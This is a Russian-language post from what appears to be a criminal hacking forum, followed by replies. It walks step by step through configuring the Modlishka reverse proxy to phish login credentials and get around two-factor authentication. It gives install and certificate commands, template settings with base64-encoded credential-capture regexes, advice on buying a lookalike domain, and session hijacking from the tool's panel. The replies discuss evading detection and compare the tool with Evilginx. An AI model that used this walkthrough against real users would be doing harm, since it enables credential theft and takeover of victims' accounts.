• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Modlishka - Reverse Proxy - Обходим 2FA

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
В этой статье я предлагаю рассмотреть метод кражи учетных данных пользователя, используя технологию reverse - proxy, которая позволит нам обойти двухфакторную аутентификацию.

Для этого мы будем использовать и настраивать инструмент, довольно известный в определенных кругах, под названием Modlishka.

Modlishka - мощный и гибкий обратный HTTP-прокси. Он реализует совершенно новый и интересный подход к обработке потока HTTP-трафика на основе браузера, который позволяет прозрачно проксировать многодоменный целевой трафик, как TLS, так и не-TLS, через один домен без необходимости установки какого-либо дополнительного сертификата на клиент.

Что именно это означает? Короче говоря, у него просто большой потенциал, который можно использовать во многих сценариях использования.

С точки зрения безопасности Modlishka в настоящее время может использоваться для:
  • Проведения этичных фишинговых тестов на проникновение с помощью прозрачного и автоматического компонента обратного прокси с универсальной поддержкой двухфакторной аутентификации.
  • Автоматического отравления кеша браузеров HTTP 301 и перманентного захвата URL-адресов, без TLS.
  • Диагностики и перехвата HTTP-трафика браузерных приложений с точки зрения атаки «Client Domain Hooking».
  • Оборачивания устаревших веб-сайтов в TLS, для запутывания ботов, автоматических сканеров и т.д.
Modlishka была написана как попытка преодолеть стандартные ограничения обратного прокси и как личный вызов, чтобы увидеть, что возможно при достаточной мотивации и небольшом дополнительном времени на исследование.

Достигнутые результаты оказались очень интересными, и инструмент был изначально выпущен, а затем обновлен с целью:
  • Выделить слабые места используемой в настоящее время схемы двухфакторной аутентификации (2FA), чтобы в отрасли могли быть созданы и внедрены адекватные решения безопасности.
  • Поддержиать другие проекты, которым может быть полезен универсальный и прозрачный обратный прокси.
  • Повысить осведомленность сообщества о современных методах и стратегиях фишинга и поддержать тестировщиков на проникновение в их повседневной работе.
Modlishka была в первую очередь написана для задач, связанных с безопасностью. Тем не менее, это может быть полезно в других сценариях использования, не связанных с безопасностью.

Эффективное проксирование!

Features

Общие:
  • Обратное проксирование HTTP и HTTPS произвольного домена по принципу «наведи и щелкни».
  • Полный контроль над потоком трафика TLS с перекрестным происхождением из браузеров ваших пользователей (без необходимости установки каких-либо дополнительных сертификатов на клиенте).
  • Простая и быстрая настройка с помощью параметров командной строки и файлов конфигурации JSON.
  • Внедрение полезной нагрузки JavaScript на основе шаблонов.
  • Обертывание веб-сайтов с дополнительной «безопасностью»: обертывание TLS, аутентификация, соответствующие заголовки безопасности и т. д.
  • Удаление веб-сайтов из всех заголовков шифрования и безопасности (назад к стилю MITM 90-х).
  • Дизайн без сохранения состояния. Можно легко масштабировать для обработки произвольного объема трафика - например, через балансировщик нагрузки DNS.
  • Может быть легко расширен вашими идеями с помощью модульных плагинов.
  • Плагин автоматического тестирования TLS-сертификата для прокси-домена (требуется самозаверяющий сертификат CA)
  • Написано на Go, поэтому работает практически на всех платформах и архитектурах: Windows, OSX, Linux, поддерживается BSD.
Связанные с безопасностью:
  • Поддержка большинства схем аутентификации 2FA (из коробки).
  • Практическая реализация атаки «Client Domain Hooking». Поддерживается диагностическим плагином.
  • Сбор учетных данных пользователя (с контекстом на основе идентификаторов, переданных параметром URL).
  • Плагин веб-панели со сводкой автоматически собираемых учетных данных и модуль олицетворения сеанса пользователя одним щелчком (proof-of-concept / beta).
  • Нет шаблонов веб-сайтов (просто укажите Modlishka на целевой домен - в большинстве случаев он будет обработан автоматически без дополнительной ручной настройки).
Installation

Последнюю версию исходного кода можно загрузить здесь (zip) или здесь (tar).

Получите код с помощью go get:
Код:
go get -u github.com/drk1wi/Modlishka
Осуществляем пробный запуск:
Код:
Modlishka
Вывод больше информативный, чем практический, но это указывает на отсутствие ошибок при установке.

Проверяем работу непосредственно обратного прокси сервера, выполняем следующую команду:
Код:
Modlishka -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\!modlishka@v0.0.0-20200628043644-00a2385a0952/templates/google.com_gsuite.json
  • В качестве аргумента указываем дефолтный конфиг google.com
При переходе на локальный адрес сервера, где работает Modlishka, мы должны получить редирект на стартовую страницу Google.

Достигается это следующим образом.

Страница, которую мы запрашиваем содержит:
Код:
<a href="http://google.com">Found</a>

Двигаемся далее, создаем SSL сетрификат:
Код:
openssl genrsa -out MyRootCA.key 2048
Код:
openssl req -x509 -new -nodes -key MyRootCA.key -sha256 -days 1024 -out MyRootCA.pem
В итоге имеем два файла.

Копируем содержимое этих файлов в autocert.go.

Собираем заново.
Код:
make
Затем необходимо импортировать сертификат в браузер пользователя (это мы проворачиваем в тестовой среде), ниже разберем настройку с выделенным сервером, и "чистым" фишингом.

Представляем, что всё прошло идеально, и можно засылать фишинговую ссылку пользователю.

Перед тем как начнем, необходимо заглянуть в templates в директории с Modlishka. Нам доступно только два темплейта:
  • Google
  • Microsoft
Могу сразу сказать, что доступные нам дефолтные шаблоны Google и Microsoft не сработают, так что нам остается научится делать свои шаблоны.

Прелесть Modlishka, в том, что нам не нужно утомительно писать свой клон сайта, или делать что-то в духе phislets с Evilginx.

Темплейт представляет из себя json файл, просто копируем его и меняем под свои нужды.

Необходимо изменить пять ключевых параметров:
  • "target"
  • "trackingCookie"
  • "log"
  • "credParams"
  • "plugins"
"target" - Целевой сайт.

"trackingCookie" - Название параметра хранящего сессионный токен:
"log" - Имя файла, куда будут падать логи.
"credParams" - Сюда необходимо поместить в закодированном в Base64 виде, имена параметров + резулярные выражения которые будут характеризовать вводимые символы.

Перехватываем запрос авторизации на сайте.

Здесь нас интересуют два параметра:
  • login
  • password
Пишем регулярные выражения в духе:
  • login=((?:\w+[\.\-\_]){0,}\w+)&
  • password=((?:\w+[\.\-\_]){0,}\w+)&
И кодируем это всё в Base64:
  • bG9naW49KCg/Olx3K1tcLlwtXF9dKXswLH1cdyspJg==,cGFzc3dvcmQ9KCg/Olx3K1tcLlwtXF9dKXswLH1cdyspJg=="
Закидываем это всё в наш новый json темплейт.

"plugins" - Включаем все доступные плагины - "all"

Запускаем Modlishka следующей командой:
Код:
./proxy -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\!modlishka@v0.0.0-20200628043644-00a2385a0952/templates/protey.json
Теперь, при переходе по ссылке:
Код:
https://loopback.modlishka.io
Мы попадаем на целевой сайт, где вводим учетные данные, которые успешно передаются атакующему.

К тому же, в панели управления Modlishka по адресу:
Код:
http://loopback.modlishka.io/SayHello2Modlishka
Мы получаем контроль над сессией жертвы, в этом и заключается принцип обхода 2FA, мы полностью контролируем сессию получив данные о сеансе пользователя.

Выглядит неплохо, но что если у атакующего нет возможности добавить сертификат в браузер жертвы?

Попробуем разобраться.

Для начала вернемся к редактированию конфигурационного файла. Добавим немного реализма к происходящему.

Жертва должна быть перенаправлена куда-нибудь после входа в систему, которая может быть, например, реальной учетной записью на форуме. В демонстрационных целях мы и будем рассматривать этот вариант.

Код:
"terminateRedirectUrl": "[URL='https://google.com/']https://google.com[/URL]"
Затем нам понадобится сервер с "белым" IP-адресом, на котором будет располагаться Modlishka, можно использовать роутер + пробросить порты, если IP "белый" статический.

Будем считать, что всё это у вас уже есть и настроено. Покупаем созвучный домен, стараемся максимально мимикрировать под целевой сайт.

В моем случае, это беспалевный - phishing.protey.net

Далее раздобудем для него сертификат, можно купить, но для тестов сгодится и LetsEncrypt.
Код:
certbot certonly --manual --preferred-challenges dns --manual-public-ip-logging-ok -d '*.phishing.protey.net' -d phishing.protey.net
Следуя инструкции, добавляем TXT запись и получаем весь набор сертификатов.

Нас интересуют два файла:
  • fullchain.pem
  • privkey.pem
Копируем их в папку с Modlishka.

Вернемся к конфигурационному файлу, параметры:
Код:
"cert"
"certKey"
Принимают значения в одну строку, для этого на необходимо немного изменить файлы сертификатов:
Код:
sed -i ':a;N;$!ba;s/\n/\\n/g' privkey.pem
sed -i ':a;N;$!ba;s/\n/\\n/g' fullchain.pem
Затем просто копируем их содержимое, и подставляем в параметры, чтобы получилось так:

Ещё немного правок в конфигурационный файл:
"proxyDomain": "phishing.protey.net",
"trackingParam": "ident" - Для того, чтобы сохранялсь куки жертвы.
"terminateTriggers": "/whats-new/", - Нет необходимости держать жертву постоянно через прокси, создаем триггер, который при переходе на страницу "Что нового", будет обрывать сессию и перенаправлять пользователя на легитимный сайт.

Убеждаемся, что у нас всё готово к фишингу:
  • Сервер с Modlishka, роутер с белым статическим IP, проброс портов и т.д.
  • Куплен домен.
  • Получены сертификаты.
  • Нет ошибок в конфигурационном файле.
Запускаем Modlishka и делимся ссылкой с пользователем, чьи учетные данные нам хотелось бы получить.

Код:
./proxy -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\!modlishka@v0.0.0-20200628043644-00a2385a0952/templates/protey.json

Результатом будут перехваченные учетные данные пользователя, а затем перенаправление пользователя, на реальный сайт.

В консоли управления Modlishka мы получаем всю необходимую информацию о сессии пользователя.

Вывод: Очень простой, универсальный и гибкий инструмент, однозначно полезен.

Автор Vander, источник protey
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А вроде модлишку палят по клиенту? (goклиент)
И сразу бан, не?
exmo так палило
Не все палят, гугл палит точно. Нужно извращаться.
 
Так фишлеты в эвиле буквально тоже самое, просто не json а yaml - нет?)
И принципиальной разницы между ними сейчас не вижу, - оба на go, принцип один и тот же.
В чем она?
А вроде модлишку палят по клиенту? (goклиент)
Должно быть, и с эвилом та же беда. Зачем переизобретать curl
серьезные команды пишут свои реверс прокси с поддержкой прокси, с отлаженной работой вебсокетов итд уникально под каждый проект.
всем современным фишерам я всегда задаю вопрос, что такое "токенка"? судя по описаниям технически не подкованных людей - они просто запихали beef во всю эту связку и кайфуют.
 
Да, не надо ебаться с yaml как в evilginx, но надо ебаться с json, что одно и тоже) "Не надо писать фишлеты", но надо писать темплейты) - ну такое... )

Если есть реальный опыт, лучше опишите как писать фишлеты под евилджинкс с примерами, особенно раздел sub_filters, ведь там самое интересное, как заменяется контент на странице или в каком-то конкретном файле, например, можно подменить какой-то дефолтный js на свой js, а уже в новом внести изменения которые позволят обойти проверку на реверс прокси аапример или добавить каких=то новых функций. Изменить контент страницы. И мне, например, до сих пор ее понятно как там работают рег_ех для доменов, там внятного примера и не нашел и не вьехал для чего это, хотябы один пример в каком случае понадобится.

И ещё как сделать в эвилджинксе редирект после авооризации, потому что он как-то или работает криво или я ее пойму как ему точно сказать в какой момент отправить пользователся на новый урл после авторизации.
 
Статья старая и полноценно работает только на http (без s) сайтов, которых осталось очень мало, а креды перехватывать можно и статик html, не понятно зачем заморачиваться деплоем и настройкой golang
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх